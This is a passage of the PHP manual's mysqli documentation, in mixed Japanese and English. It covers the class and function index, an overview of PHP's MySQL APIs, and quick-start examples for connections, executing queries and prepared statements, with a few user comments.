    • mysqli::__construct — 新規に MySQL サーバーへの接続をオープンする
    • mysqli::debug — デバッグ操作を行う
    • mysqli::dump_debug_info — デバッグ情報をログに出力する
    • mysqli::$errno — 直近の関数コールによるエラーコードを返す
    • mysqli::$error_list — 直近で実行したコマンドからのエラーの一覧を返す
    • mysqli::$error — 直近のエラーの内容を文字列で返す
    • mysqli::$field_count — 直近のクエリのカラムの数を返す
    • mysqli::get_charset — 文字セットオブジェクトを返す
    • mysqli::$client_info — MySQL クライアント情報を取得する
    • mysqli::$client_version — MySQL クライアントのバージョンを整数値で返す
    • mysqli::get_connection_stats — クライアント接続に関する統計情報を返す
    • mysqli::$host_info — 使用している接続の型を文字列で返す
    • mysqli::$protocol_version — 使用している MySQL プロトコルのバージョンを返す
    • mysqli::$server_info — MySQL サーバーのバージョンを返す
    • mysqli::$server_version — MySQL サーバーのバージョンを整数値で返す
    • mysqli::get_warnings — SHOW WARNINGS の結果を取得する
    • mysqli::$info — 直近に実行されたクエリの情報を取得する
    • mysqli::init — MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す
    • mysqli::$insert_id — 直近のクエリで使用した自動生成の ID を返す
    • mysqli::kill — サーバーに MySQL スレッドの停止を問い合わせる
    • mysqli::more_results — マルチクエリからの結果がまだ残っているかどうかを調べる
    • mysqli::multi_query — データベース上でクエリを実行する
    • mysqli::next_result — multi_query の、次の結果を準備する
    • mysqli::options — オプションを設定する
    • mysqli::ping — サーバーとの接続をチェックし、もし切断されている場合は再接続を試みる
    • mysqli::poll — 接続を問い合わせる
    • mysqli::prepare — 実行するための SQL文 を準備する
    • mysqli::query — データベース上でクエリを実行する
    • mysqli::real_connect — mysql サーバーとの接続をオープンする
    • mysqli::real_escape_string — 接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする
    • mysqli::real_query — SQL クエリを実行する
    • mysqli::reap_async_query — 非同期クエリから結果を取得する
    • mysqli::refresh — リフレッシュする
    • mysqli::release_savepoint — 現在のトランザクションのセーブポイント群から、指定した名前のセーブポイントを削除する
    • mysqli::rollback — 現在のトランザクションをロールバックする
    • mysqli::savepoint — トランザクションのセーブポイントを設定する
    • mysqli::select_db — クエリを実行するためのデフォルトのデータベースを選択する
    • mysqli::set_charset — クライアントのデフォルト文字セットを設定する
    • mysqli::$sqlstate — 直前の MySQL の操作での SQLSTATE エラーを返す
    • mysqli::ssl_set — SSL を使用したセキュアな接続を確立する
    • mysqli::stat — 現在のシステム状態を取得する
    • mysqli::stmt_init — ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す
    • mysqli::store_result — 直近のクエリから結果セットを転送する
    • mysqli::$thread_id — 現在の接続のスレッド ID を返す
    • mysqli::thread_safe — スレッドセーフであるかどうかを返す
    • mysqli::use_result — 結果セットの取得を開始する
    • mysqli::$warning_count — 指定した接続の直近のクエリから発生した警告の数を返す
  • mysqli_stmt — mysqli_stmt クラス
    • mysqli_stmt::$affected_rows — 直近に実行されたステートメントで変更・削除・あるいは追加された行の総数を返す
    • mysqli_stmt::attr_get — ステートメントの属性の現在の値を取得する
    • mysqli_stmt::attr_set — プリペアドステートメントの振る舞いを変更する
    • mysqli_stmt::bind_param — プリペアドステートメントのパラメータに変数をバインドする
    • mysqli_stmt::bind_result — 結果を保存するため、プリペアドステートメントに変数をバインドする
    • mysqli_stmt::close — プリペアドステートメントを閉じる
    • mysqli_stmt::__construct — 新しい mysqli_stmt オブジェクトを構築する
    • mysqli_stmt::data_seek — ステートメントの結果セットの任意の行に移動する
    • mysqli_stmt::$errno — 直近のステートメントのコールに関するエラーコードを返す
    • mysqli_stmt::$error_list — 直近で実行したステートメントからのエラーの一覧を返す
    • mysqli_stmt::$error — 直近のステートメントのエラー内容を文字列で返す
    • mysqli_stmt::execute — プリペアドステートメントを実行する
    • mysqli_stmt::fetch — プリペアドステートメントから結果を取得し、バインド変数に格納する
    • mysqli_stmt::$field_count — 指定したステートメントのカラム数を返す
    • mysqli_stmt::free_result — 指定したステートメントハンドルの結果を格納したメモリを開放する
    • mysqli_stmt::get_result — プリペアード・ステートメントから結果セットを取得
    • mysqli_stmt::get_warnings — SHOW WARNINGS の結果を取得する
    • mysqli_stmt::$insert_id — 直近の INSERT 操作で生成した ID を取得する
    • mysqli_stmt::more_results — 複数クエリで、次の結果が存在するかどうかを調べる
    • mysqli_stmt::next_result — 複数クエリから、次の結果を読み込む
    • mysqli_stmt::$num_rows — ステートメントの結果セットの行数を返す
    • mysqli_stmt::$param_count — 指定したステートメントのパラメータ数を返す
    • mysqli_stmt::prepare — SQL ステートメントを実行するために準備する
    • mysqli_stmt::reset — プリペアドステートメントをリセットする
    • mysqli_stmt::result_metadata — プリペアドステートメントから結果セットのメタデータを返す
    • mysqli_stmt::send_long_data — データをブロックで送信する
    • mysqli_stmt::$sqlstate — 直前のステートメントの操作での SQLSTATE エラーを返す
    • mysqli_stmt::store_result — プリペアドステートメントから結果を転送する
  • mysqli_result — mysqli_result クラス
    • mysqli_result::$current_field — 結果ポインタにおける現在のフィールドオフセットを取得する
    • mysqli_result::data_seek — 結果の任意の行にポインタを移動する
    • mysqli_result::fetch_all — 結果のすべての行を連想配列・数値添字配列あるいはその両方の形式で取得する
    • mysqli_result::fetch_array — 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
    • mysqli_result::fetch_assoc — 結果の行を連想配列で取得する
    • mysqli_result::fetch_field_direct — 単一のフィールドのメタデータを取得する
    • mysqli_result::fetch_field — 結果セットの次のフィールドを返す
    • mysqli_result::fetch_fields — 結果セットのフィールド情報をオブジェクトの配列で返す
    • mysqli_result::fetch_object — 結果セットの現在の行をオブジェクトとして返す
    • mysqli_result::fetch_row — 結果の行を数値添字配列で取得する
    • mysqli_result::$field_count — 結果のフィールド数を取得する
    • mysqli_result::field_seek — 結果ポインタを、指定したフィールドオフセットに設定する
    • mysqli_result::free — 結果に関連付けられたメモリを開放する
    • mysqli_result::$lengths — 結果セットにおける現在の行のカラムの長さを返す
    • mysqli_result::$num_rows — 結果の行数を取得する
  • mysqli_driver — mysqli_driver クラス
    • mysqli_driver::embedded_server_end — 組み込みサーバーを停止する
    • mysqli_driver::embedded_server_start — 組み込みサーバーを初期化して開始する
    • mysqli_driver::$report_mode — mysqli のエラー報告モードを設定する
  • mysqli_warning — mysqli_warning クラス
    • mysqli_warning::next — 次の警告を取得する
  • mysqli_sql_exception — mysqli_sql_exception クラス
  • エイリアスおよび非推奨の Mysqli 関数
    • mysqli_connect — mysqli::__construct のエイリアス
    • mysqli_escape_string — mysqli_real_escape_string のエイリアス
    • mysqli_execute — mysqli_stmt_execute のエイリアス
    • mysqli_get_client_stats — プロセスごとのクライアントの統計を返す
    • mysqli_get_links_stats — オープン済みとキャッシュ済みのリンクに関する情報を返す
    • mysqli_report — mysqli_driver->report_mode のエイリアス
    • mysqli::set_opt — mysqli_options のエイリアス
  • 変更履歴

User Contributed Notes

There are no user contributed notes for this page.


はじめに

mysqli 拡張サポートによって MySQL 4.1 以上で提供される機能を利用することができるようになります。MySQL データベースサーバーに関する詳細は » http://www.mysql.com/ をご覧ください。

PHP から MySQL を使うために使用できるソフトウェアの概要は Overview にあります。

MySQL に関するドキュメントは » http://dev.mysql.com/doc/ にあります。

このドキュメントの一部は、Oracle Corporation の許可を得て MySQL マニュアルから引用したものです。

このドキュメントのサンプルでは、» world データベースあるいは » sakila データベースを使っています。どちらも、無料で公開されています。

User Contributed Notes

There are no user contributed notes for this page.


Overview

This section provides an introduction to the options available to you when developing a PHP application that needs to interact with a MySQL database.

What is an API?

An Application Programming Interface, or API, defines the classes, methods, functions and variables that your application will need to call in order to carry out its desired task. In the case of PHP applications that need to communicate with databases the necessary APIs are usually exposed via PHP extensions.

APIs can be procedural or object-oriented. With a procedural API, you call functions to carry out tasks, with the object-oriented API you instantiate classes and then call methods on the resulting objects. Of the two, the latter is usually the preferred interface, as it is more modern and leads to better-organized code.

When writing PHP applications that need to connect to the MySQL server there are several API options available. This document discusses what is available and how to select the best solution for your application.

What is a Connector?

In the MySQL documentation, the term connector refers to a piece of software that allows your application to connect to the MySQL database server. MySQL provides connectors for a variety of languages, including PHP.

If your PHP application needs to communicate with a database server you will need to write PHP code to perform such activities as connecting to the database server, querying the database, and other database-related functions. Software is required to provide the API that your PHP application will use, and also handle the communication between your application and the database server, possibly using other intermediate libraries where necessary. This software is known generically as a connector, as it allows your application to connect to a database server.

What is a Driver?

A driver is a piece of software designed to communicate with a specific type of database server. The driver may also call a library, such as the MySQL Client Library or the MySQL Native Driver. These libraries implement the low-level protocol used to communicate with the MySQL database server.

By way of an example, the PHP Data Objects (PDO) database abstraction layer may use one of several database-specific drivers. One of the drivers it has available is the PDO MYSQL driver, which allows it to interface with the MySQL server.

Sometimes people use the terms connector and driver interchangeably, this can be confusing. In the MySQL-related documentation the term driver is reserved for software that provides the database-specific part of a connector package.

What is an Extension?

In the PHP documentation you will come across another term - extension. The PHP code consists of a core, with optional extensions to the core functionality. PHP's MySQL-related extensions, such as the mysqli extension, and the PDO MySQL driver extension, are implemented using the PHP extension framework.

An extension typically exposes an API to the PHP programmer, to allow its facilities to be used programmatically. However, some extensions which use the PHP extension framework do not expose an API to the PHP programmer.

The PDO MySQL driver extension, for example, does not expose an API to the PHP programmer, but provides an interface to the PDO layer above it.

The terms API and extension should not be taken to mean the same thing, as an extension may not necessarily expose an API to the programmer.

What are the main PHP API offerings for using MySQL?

There are two main API options when considering connecting to a MySQL database server:

  • PHP's mysqli Extension

  • PHP Data Objects (PDO)

Each has its own advantages and disadvantages. The following discussion aims to give a brief introduction to the key aspects of each API.

What is PHP's mysqli Extension?

The mysqli extension, or as it is sometimes known, the MySQL improved extension, was developed to take advantage of new features found in MySQL systems versions 4.1.3 and newer. The mysqli extension is included with PHP versions 5 and later.

The mysqli extension has a number of benefits, the key enhancements over the mysql extension being:

  • Object-oriented interface

  • Support for Prepared Statements

  • Support for Multiple Statements

  • Support for Transactions

  • Enhanced debugging capabilities

As well as the object-oriented interface the extension also provides a procedural interface.

The mysqli extension is built using the PHP extension framework, its source code is located in the directory ext/mysqli.

For further information on the mysqli extension, see MySQLi.

What is PDO?

PHP Data Objects, or PDO, is a database abstraction layer specifically for PHP applications. PDO provides a consistent API for your PHP application regardless of the type of database server your application will connect to. In theory, if you are using the PDO API, you could switch the database server you used, from say Firebird to MySQL, and only need to make minor changes to your PHP code.

Other examples of database abstraction layers include JDBC for Java applications and DBI for Perl.

While PDO has its advantages, such as a clean, simple, portable API, its main disadvantage is that it doesn't allow you to use all of the advanced features that are available in the latest versions of MySQL server. For example, PDO does not allow you to use MySQL's support for Multiple Statements.

PDO is implemented using the PHP extension framework, its source code is located in the directory ext/pdo.

For further information on PDO, see the PDO.

What is the PDO MYSQL driver?

The PDO MYSQL driver is not an API as such, at least from the PHP programmer's perspective. In fact, the PDO MYSQL driver sits in the layer below PDO itself and provides MySQL-specific functionality. The programmer still calls the PDO API, but PDO uses the PDO MYSQL driver to carry out communication with the MySQL server.

The PDO MYSQL driver is one of several available PDO drivers. Other PDO drivers available include those for the Firebird and PostgreSQL database servers.

The PDO MYSQL driver is implemented using the PHP extension framework. Its source code is located in the directory ext/pdo_mysql. It does not expose an API to the PHP programmer.

For further information on the PDO MYSQL driver, see MySQL (PDO).

What is PHP's MySQL Native Driver?

In order to communicate with the MySQL database server, mysqli and the PDO MYSQL driver each use a low-level library that implements the required protocol. In the past, the only available library was the MySQL Client Library, otherwise known as libmysqlclient.

However, the interface presented by libmysqlclient was not optimized for communication with PHP applications, as libmysqlclient was originally designed with C applications in mind. For this reason, the MySQL Native Driver, mysqlnd, was developed as an alternative to libmysqlclient for PHP applications.

Both, the mysqli extension and the PDO MySQL driver can each be individually configured to use either libmysqlclient or mysqlnd. As mysqlnd is designed specifically to be utilised in the PHP system it has numerous memory and speed enhancements over libmysqlclient. You are strongly encouraged to take advantage of these improvements.

The MySQL Native Driver is implemented using the PHP extension framework. The source code is located in ext/mysqlnd. It does not expose an API to the PHP programmer.

Comparison of Features

The following table compares the functionality of the main methods of connecting to MySQL from PHP:

Comparison of MySQL API options for PHP
 | PHP's mysqli Extension | PDO (Using PDO MySQL Driver and MySQL Native Driver)
PHP version introduced | 5.0 | 5.0
MySQL development status | Active development | Active development
API supports Charsets | Yes | Yes
API supports server-side Prepared Statements | Yes | Yes
API supports client-side Prepared Statements | No | Yes
API supports Stored Procedures | Yes | Yes
API supports Multiple Statements | Yes | Most
Supports all MySQL 4.1+ functionality | Yes | Most

User Contributed Notes

php-includer at gmail dot com 25-Sep-2014 04:30
mysqli can be great in some circumstances but much work has been put into PHP Portable Data Objects (PDO) which you should also consider when choosing a way to connect to your database using php. For example, PDO supports MySQL with minimal performance hit and the code your write for it will support many other databases with little or no changes. That said, the database connection code, even if you have to change a lot of it to use another database will be much less work than coding your actual database data entry and report apps. When I started creating PHP/MySQL apps years ago, I used php's native support for PHP then moved to PEAR:DB and MDB/MDB2 and finally to wizzyweb which is basically like "phpMyAdmin for Apps" to create apps as it automatically generates the PHP PDO connection code and the application code. Sure, I could code it all from scratch but I save about 90% of the time it used to take. The point is look at the total amount of time you will save by using native code vs. an abstraction layer. Most people find that programmer time is the most valuable part of the equation so anything than can save programmer time should be heavily weighted.
guatebus at dot gmail dot com 13-Oct-2013 12:00
The text: "PDO does not allow you to use MySQL's support for Multiple Statements" is outdated.

Since v5.3, PHP intoduced multiple statement support into PDO (by PDO_MYSQLND driver replacing the previous PDO_MYSQL).


Quick start guide

目次

  • Dual procedural and object-oriented interface
  • Connections
  • Executing statements
  • Prepared Statements
  • Stored Procedures
  • Multiple Statements
  • API support for transactions
  • Metadata

This quick start guide will help with choosing and gaining familiarity with the PHP MySQL API.

This quick start gives an overview on the mysqli extension. Code examples are provided for all major aspects of the API. Database concepts are explained to the degree needed for presenting concepts specific to MySQL.

Required: A familiarity with the PHP programming language, the SQL language, and basic knowledge of the MySQL server.

User Contributed Notes

There are no user contributed notes for this page.


Dual procedural and object-oriented interface

The mysqli extension features a dual interface. It supports the procedural and object-oriented programming paradigm.

Users migrating from the old mysql extension may prefer the procedural interface. The procedural interface is similar to that of the old mysql extension. In many cases, the function names differ only by prefix. Some mysqli functions take a connection handle as their first argument, whereas matching functions in the old mysql interface take it as an optional last argument.

例1 Easy migration from the old mysql extension

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
$res = mysqli_query($mysqli, "SELECT 'Please, do not use ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($res);
echo $row['_msg'];

$mysql = mysql_connect("example.com", "user", "password");
mysql_select_db("test");
$res = mysql_query("SELECT 'the mysql extension for new developments.' AS _msg FROM DUAL", $mysql);
$row = mysql_fetch_assoc($res);
echo $row['_msg'];
?>

上の例の出力は以下となります。

Please, do not use the mysql extension for new developments.

The object-oriented interface

In addition to the classical procedural interface, users can choose to use the object-oriented interface. The documentation is organized using the object-oriented interface. The object-oriented interface shows functions grouped by their purpose, making it easier to get started. The reference section gives examples for both syntax variants.

There are no significant performance differences between the two interfaces. Users can base their choice on personal preference.

例2 Object-oriented and procedural interface

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
if (mysqli_connect_errno()) {
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}

$res = mysqli_query($mysqli, "SELECT 'A world full of ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($res);
echo $row['_msg'];

$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: " . $mysqli->connect_error;
}

$res = $mysqli->query("SELECT 'choices to please everybody.' AS _msg FROM DUAL");
$row = $res->fetch_assoc();
echo $row['_msg'];
?>

上の例の出力は以下となります。

A world full of choices to please everybody.

The object oriented interface is used for the quickstart because the reference section is organized that way.

Mixing styles

It is possible to switch between styles at any time. Mixing both styles is not recommended for code clarity and coding style reasons.

例3 Bad coding style

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: " . $mysqli->connect_error;
}

$res = mysqli_query($mysqli, "SELECT 'Possible but bad style.' AS _msg FROM DUAL");
if (!$res) {
    echo "Failed to run query: (" . $mysqli->errno . ") " . $mysqli->error;
}

if ($row = $res->fetch_assoc()) {
    echo $row['_msg'];
}
?>

上の例の出力は以下となります。

Possible but bad style.

See also

  • mysqli::__construct()
  • mysqli::query()
  • mysqli_result::fetch_assoc()
  • $mysqli::connect_errno
  • $mysqli::connect_error
  • $mysqli::errno
  • $mysqli::error
  • The MySQLi Extension Function Summary

User Contributed Notes

Anonymous 15-Jan-2016 10:58
I don't know whether I can put my opinion here, but yet...

I don't think that mixing styles is so bad idea. Yes, maybe it isn't good when working in a team, but if you work on a code on your own and it's convenient for you - why not?

For example, I prefer the OO style generally. But when it comes to setting connection, the procedural style provides opportunity to use easy 'or' syntax:

<?php
$connection = @mysqli_connect('localhost', 'root', '1234', 'db') or die('Connect Error (' . mysqli_connect_errno() . ') ' . mysqli_connect_error());
?>

which is more convenient for me than:

<?php
$connection = @new mysqli('localhost', 'root', '1234', 'db');
if ($conn->connect_errno) {
    die('Connect Error (' . $connection->connect_errno() . ') ' . $connection->connect_error());
}
?>

So why shouldn't I use the procedural style when setting connection?
Anonymous 06-Jan-2015 11:36
Just want to add that both procedural mysqli_connect_errno and mysqli_connect_error DON'T accept any arguments!
http://php.net/manual/de/mysqli.connect-errno.php
http://php.net/manual/de/mysqli.connect-error.php
"int mysqli_connect_errno ( void )"
"string mysqli_connect_error ( void )"
It clearly states "void" there.

Adding the mysqli-Instance as a parameter makes it look like it pulls the error-number out of the provided instance, which is not actually happening. This could end in a hard to detect bug when connecting to multiple SQL servers.
And it is confusing for beginners.


Connections

The MySQL server supports the use of different transport layers for connections. Connections use TCP/IP, Unix domain sockets or Windows named pipes.

The hostname localhost has a special meaning. It is bound to the use of Unix domain sockets. It is not possible to open a TCP/IP connection using the hostname localhost you must use 127.0.0.1 instead.

例1 Special meaning of localhost

<?php
$mysqli = new mysqli("localhost", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}
echo $mysqli->host_info . "\n";

$mysqli = new mysqli("127.0.0.1", "user", "password", "database", 3306);
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

echo $mysqli->host_info . "\n";
?>

上の例の出力は以下となります。

Localhost via UNIX socket
127.0.0.1 via TCP/IP

Connection parameter defaults

Depending on the connection function used, assorted parameters can be omitted. If a parameter is not provided, then the extension attempts to use the default values that are set in the PHP configuration file.

例2 Setting defaults

mysqli.default_host=192.168.2.27
mysqli.default_user=root
mysqli.default_pw=""
mysqli.default_port=3306
mysqli.default_socket=/tmp/mysql.sock

The resulting parameter values are then passed to the client library that is used by the extension. If the client library detects empty or unset parameters, then it may default to the library built-in values.

Built-in connection library defaults

If the host value is unset or empty, then the client library will default to a Unix socket connection on localhost. If socket is unset or empty, and a Unix socket connection is requested, then a connection to the default socket on /tmp/mysql.sock is attempted.

On Windows systems, the host name . is interpreted by the client library as an attempt to open a Windows named pipe based connection. In this case the socket parameter is interpreted as the pipe name. If not given or empty, then the socket (pipe name) defaults to \\.\pipe\MySQL.

If neither a Unix domain socket based not a Windows named pipe based connection is to be established and the port parameter value is unset, the library will default to port 3306.

The mysqlnd library and the MySQL Client Library (libmysqlclient) implement the same logic for determining defaults.

Connection options

Connection options are available to, for example, set init commands which are executed upon connect, or for requesting use of a certain charset. Connection options must be set before a network connection is established.

For setting a connection option, the connect operation has to be
performed in three steps: creating a connection handle with
mysqli_init(), setting the requested options using
mysqli_options(), and establishing the network
connection with mysqli_real_connect().

Connection pooling

The mysqli extension supports persistent database connections, which are a special kind of pooled connections. By default, every database connection opened by a script is either explicitly closed by the user during runtime or released automatically at the end of the script. A persistent connection is not. Instead it is put into a pool for later reuse, if a connection to the same server using the same username, password, socket, port and default database is opened. Reuse saves connection overhead.

Every PHP process is using its own mysqli connection pool. Depending on the web server deployment model, a PHP process may serve one or multiple requests. Therefore, a pooled connection may be used by one or more scripts subsequently.

Persistent connection

If a unused persistent connection for a given combination of host, username, password, socket, port and default database can not be found in the connection pool, then mysqli opens a new connection. The use of persistent connections can be enabled and disabled using the PHP directive mysqli.allow_persistent. The total number of connections opened by a script can be limited with mysqli.max_links. The maximum number of persistent connections per PHP process can be restricted with mysqli.max_persistent. Please note, that the web server may spawn many PHP processes.

A common complain about persistent connections is that their state is not reset before reuse. For example, open and unfinished transactions are not automatically rolled back. But also, authorization changes which happened in the time between putting the connection into the pool and reusing it are not reflected. This may be seen as an unwanted side-effect. On the contrary, the name persistent may be understood as a promise that the state is persisted.

The mysqli extension supports both interpretations of a persistent connection: state persisted, and state reset before reuse. The default is reset. Before a persistent connection is reused, the mysqli extension implicitly calls mysqli_change_user() to reset the state. The persistent connection appears to the user as if it was just opened. No artifacts from previous usages are visible.

The mysqli_change_user() function is an expensive operation. For best performance, users may want to recompile the extension with the compile flag MYSQLI_NO_CHANGE_USER_ON_PCONNECT being set.

It is left to the user to choose between safe behavior and best performance. Both are valid optimization goals. For ease of use, the safe behavior has been made the default at the expense of maximum performance.

See also

  • mysqli::__construct()
  • mysqli::init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::change_user()
  • $mysqli::host_info
  • MySQLi Configuration Options
  • Persistent Database Connections

User Contributed Notes

There are no user contributed notes for this page.


Executing statements

Statements can be executed with the
mysqli_query(), mysqli_real_query()
and mysqli_multi_query() functions.
The mysqli_query() function is the most
common, and combines the executing statement with a
buffered fetch of its result set, if any, in one call.
Calling mysqli_query() is identical to
calling mysqli_real_query()
followed by mysqli_store_result().

例1 Connecting to MySQL

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

Buffered result sets

After statement execution results can be retrieved at once to be buffered by the client or by read row by row. Client-side result set buffering allows the server to free resources associated with the statement results as early as possible. Generally speaking, clients are slow consuming result sets. Therefore, it is recommended to use buffered result sets. mysqli_query() combines statement execution and result set buffering.

PHP applications can navigate freely through buffered results. Navigation is fast because the result sets are held in client memory. Please, keep in mind that it is often easier to scale by client than it is to scale the server.

例2 Navigation through buffered results

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$res = $mysqli->query("SELECT id FROM test ORDER BY id ASC");

echo "Reverse order...\n";
for ($row_no = $res->num_rows - 1; $row_no >= 0; $row_no--) {
    $res->data_seek($row_no);
    $row = $res->fetch_assoc();
    echo " id = " . $row['id'] . "\n";
}

echo "Result set order...\n";
$res->data_seek(0);
while ($row = $res->fetch_assoc()) {
    echo " id = " . $row['id'] . "\n";
}
?>

上の例の出力は以下となります。

Reverse order...
 id = 3
 id = 2
 id = 1
Result set order...
 id = 1
 id = 2
 id = 3

Unbuffered result sets

If client memory is a short resource and freeing server resources as early as possible to keep server load low is not needed, unbuffered results can be used. Scrolling through unbuffered results is not possible before all rows have been read.

例3 Navigation through unbuffered results

<?php
$mysqli->real_query("SELECT id FROM test ORDER BY id ASC");
$res = $mysqli->use_result();

echo "Result set order...\n";
while ($row = $res->fetch_assoc()) {
    echo " id = " . $row['id'] . "\n";
}
?>

Result set values data types

The mysqli_query(), mysqli_real_query() and mysqli_multi_query() functions are used to execute non-prepared statements. At the level of the MySQL Client Server Protocol, the command COM_QUERY and the text protocol are used for statement execution. With the text protocol, the MySQL server converts all data of a result sets into strings before sending. This conversion is done regardless of the SQL result set column data type. The mysql client libraries receive all column values as strings. No further client-side casting is done to convert columns back to their native types. Instead, all values are provided as PHP strings.

例4 Text protocol returns strings by default

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$res = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

上の例の出力は以下となります。

id = 1 (string)
label = a (string)

It is possible to convert integer and float columns back to PHP numbers by setting the MYSQLI_OPT_INT_AND_FLOAT_NATIVE connection option, if using the mysqlnd library. If set, the mysqlnd library will check the result set meta data column types and convert numeric SQL columns to PHP numbers, if the PHP data type value range allows for it. This way, for example, SQL INT columns are returned as integers.

例5 Native data types with mysqlnd and connection option

<?php
$mysqli = mysqli_init();
$mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
$mysqli->real_connect("example.com", "user", "password", "database");

if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$res = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

上の例の出力は以下となります。

id = 1 (integer)
label = a (string)

See also

  • mysqli::__construct()
  • mysqli::init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::use_result()
  • mysqli::store_result()
  • mysqli_result::free()

User Contributed Notes

There are no user contributed notes for this page.


Prepared Statements

The MySQL database supports prepared statements. A prepared statement or a parameterized statement is used to execute the same statement repeatedly with high efficiency.

Basic workflow

The prepared statement execution consists of two stages: prepare and execute. At the prepare stage a statement template is sent to the database server. The server performs a syntax check and initializes server internal resources for later use.

The MySQL server supports using anonymous, positional placeholder with ?.

例1 First stage: prepare

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

/* Non-prepared statement */
if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

/* Prepared statement, stage 1: prepare */
if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

Prepare is followed by execute. During execute the client binds parameter values and sends them to the server. The server creates a statement from the statement template and the bound values to execute it using the previously created internal resources.

例2 Second stage: bind and execute

<?php
/* Prepared statement, stage 2: bind and execute */
$id = 1;
if (!$stmt->bind_param("i", $id)) {
    echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}
?>

Repeated execution

A prepared statement can be executed repeatedly. Upon every execution the current value of the bound variable is evaluated and sent to the server. The statement is not parsed again. The statement template is not transferred to the server again.

例3 INSERT prepared once, executed multiple times

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

/* Non-prepared statement */
if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

/* Prepared statement, stage 1: prepare */
if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)"))) {
     echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

/* Prepared statement, stage 2: bind and execute */
$id = 1;
if (!$stmt->bind_param("i", $id)) {
    echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

/* Prepared statement: repeated execution, only data transferred from client to server */
for ($id = 2; $id < 5; $id++) {
    if (!$stmt->execute()) {
        echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
    }
}

/* explicit close recommended */
$stmt->close();

/* Non-prepared statement */
$res = $mysqli->query("SELECT id FROM test");
var_dump($res->fetch_all());
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [3]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

